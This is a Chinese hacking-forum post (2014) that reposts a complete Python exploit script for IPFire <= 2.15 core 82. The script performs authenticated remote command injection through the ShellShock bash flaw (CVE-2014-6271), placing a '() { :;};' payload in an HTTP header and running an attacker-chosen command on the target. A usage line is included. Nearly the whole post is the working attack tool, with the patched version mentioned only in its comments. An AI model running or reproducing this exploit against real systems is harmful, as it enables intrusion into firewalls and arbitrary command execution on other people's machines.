搜索
查看: 173|回复: 0

IPFire Cgi Web界面验证Bash漏洞

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-10-5 22:31:55 | 显示全部楼层 |阅读模式
利用方法:
  1. ipfire_cgi_shellshock.py -t https://target:444/ -u admin -p pwd -c "touch /tmp/test.txt"
复制代码

exp:
  1. #!/usr/bin/env python
  2. #
  3. # Exploit Title : IPFire <= 2.15 core 82 Authenticated cgi Remote Command Injection (ShellShock)
  4. #
  5. # Exploit Author : Claudio Viviani
  6. #
  7. # Vendor Homepage : [url]http://www.ipfire.org[/url]
  8. #
  9. # Software Link: [url]http://downloads.ipfire.org/releases/ipfire-2.x/2.15-core82/ipfire-2.15.i586-full-core82.iso[/url]
  10. #
  11. # Date : 2014-09-29
  12. #
  13. # Fixed version: IPFire 2.15 core 83 (2014-09-28)
  14. #
  15. # Info: IPFire is a free Linux distribution which acts as a router and firewall in the first instance.
  16. #       It can be maintained via a web interface.
  17. #       The distribution furthermore offers selected server-daemons and can easily be expanded to a SOHO-server.
  18. #       IPFire is based on Linux From Scratch and is, like the Endian Firewall, originally a fork from IPCop.
  19. #
  20. # Vulnerability: IPFire <= 2.15 core 82 Cgi Web Interface suffers from Authenticated Bash Environment Variable Code Injection
  21. #                (CVE-2014-6271)
  22. #
  23. # Suggestion:
  24. #
  25. # If you can't update the distro and you have installed ipfire via image files (Arm, Flash)
  26. # make sure to change the default access permission to graphical user interface (user:admin pass:ipfire)
  27. #
  28. #
  29. # http connection
  30. import urllib2
  31. # Basic Auth management Base64
  32. import base64
  33. # Args management
  34. import optparse
  35. # Error management
  36. import sys

  37. banner = """
  38.        ___ _______ _______ __                _______       __
  39.       |   |   _   |   _   |__.----.-----.   |   _   .-----|__|
  40.       |.  |.  1   |.  1___|  |   _|  -__|   |.  1___|  _  |  |
  41.       |.  |.  ____|.  __) |__|__| |_____|   |.  |___|___  |__|
  42.       |:  |:  |   |:  |                     |:  1   |_____|
  43.       |::.|::.|   |::.|                     |::.. . |
  44.       `---`---'   `---'                     `-------'
  45.    _______ __          __ __ _______ __               __
  46.   |   _   |  |--.-----|  |  |   _   |  |--.-----.----|  |--.
  47.   |   1___|     |  -__|  |  |   1___|     |  _  |  __|    <
  48.   |____   |__|__|_____|__|__|____   |__|__|_____|____|__|__|
  49.   |:  1   |                 |:  1   |
  50.   |::.. . |                 |::.. . |
  51.   `-------'                 `-------'

  52.                                 IPFire <= 2.15 c0re 82 Authenticated
  53.                                 Cgi Sh3llSh0ck r3m0t3 C0mm4nd Inj3ct10n

  54.                           Written by:

  55.                         Claudio Viviani

  56.                      [url]http://www.homelab.it[/url]

  57.                         [email]info@homelab.it[/email]
  58.                     [email]homelabit@protonmail.ch[/email]

  59.                [url]https://www.facebook.com/homelabit[/url]
  60.                   [url]https://twitter.com/homelabit[/url]
  61.                [url]https://plus.google.com/+HomelabIt1/[/url]
  62.      [url]https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww[/url]
  63. """

  64. # Check url
  65. def checkurl(url):
  66.     if url[:8] != "https://" and url[:7] != "http://":
  67.         print('[X] You must insert http:// or https:// procotol')
  68.         sys.exit(1)
  69.     else:
  70.         return url

  71. def connectionScan(url,user,pwd,cmd):
  72.     print '[+] Connection in progress...'
  73.     try:
  74.         response = urllib2.Request(url)
  75.         content = urllib2.urlopen(response)
  76.         print '[X] IPFire Basic Authentication not found'
  77.     except urllib2.HTTPError, e:
  78.         if e.code == 404:
  79.             print '[X] Page not found'
  80.         elif e.code == 401:
  81.             try:
  82.                 print '[+] Authentication in progress...'
  83.                 base64string = base64.encodestring('%s:%s' % (user, pwd)).replace('\n', '')
  84.                 headers = {'VULN' : '() { :;}; echo "H0m3l4b1t"; /bin/bash -c "'+cmd+'"' }
  85.                 response = urllib2.Request(url, None, headers)
  86.                 response.add_header("Authorization", "Basic %s" % base64string)
  87.                 content = urllib2.urlopen(response).read()
  88.                 if "ipfire" in content:
  89.                     print '[+] Username & Password: OK'
  90.                     print '[+] Checking for vulnerability...'
  91.                     if 'H0m3l4b1t' in  content:
  92.                         print '[!] Command "'+cmd+'": INJECTED!'
  93.                     else:
  94.                         print '[X] Not Vulnerable :('
  95.                 else:
  96.                      print '[X] No IPFire page found'
  97.             except urllib2.HTTPError, e:
  98.                 if e.code == 401:
  99.                    print '[X] Wrong username or password'
  100.                 else:
  101.                    print '[X] HTTP Error: '+str(e.code)
  102.             except urllib2.URLError:
  103.                 print '[X] Connection Error'
  104.         else:
  105.             print '[X] HTTP Error: '+str(e.code)
  106.     except urllib2.URLError:
  107.         print '[X] Connection Error'

  108. commandList = optparse.OptionParser('usage: %prog -t https://target:444/ -u admin -p pwd -c "touch /tmp/test.txt"')
  109. commandList.add_option('-t', '--target', action="store",
  110.                   help="Insert TARGET URL",
  111.                   )
  112. commandList.add_option('-c', '--cmd', action="store",
  113.                   help="Insert command name",
  114.                   )
  115. commandList.add_option('-u', '--user', action="store",
  116.                   help="Insert username",
  117.                   )
  118. commandList.add_option('-p', '--pwd', action="store",
  119.                   help="Insert password",
  120.                   )
  121. options, remainder = commandList.parse_args()

  122. # Check args
  123. if not options.target or not options.cmd or not options.user or not options.pwd:
  124.     print(banner)
  125.     commandList.print_help()
  126.     sys.exit(1)

  127. print(banner)

  128. url = checkurl(options.target)
  129. cmd = options.cmd
  130. user = options.user
  131. pwd = options.pwd

  132. connectionScan(url,user,pwd,cmd)
复制代码
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表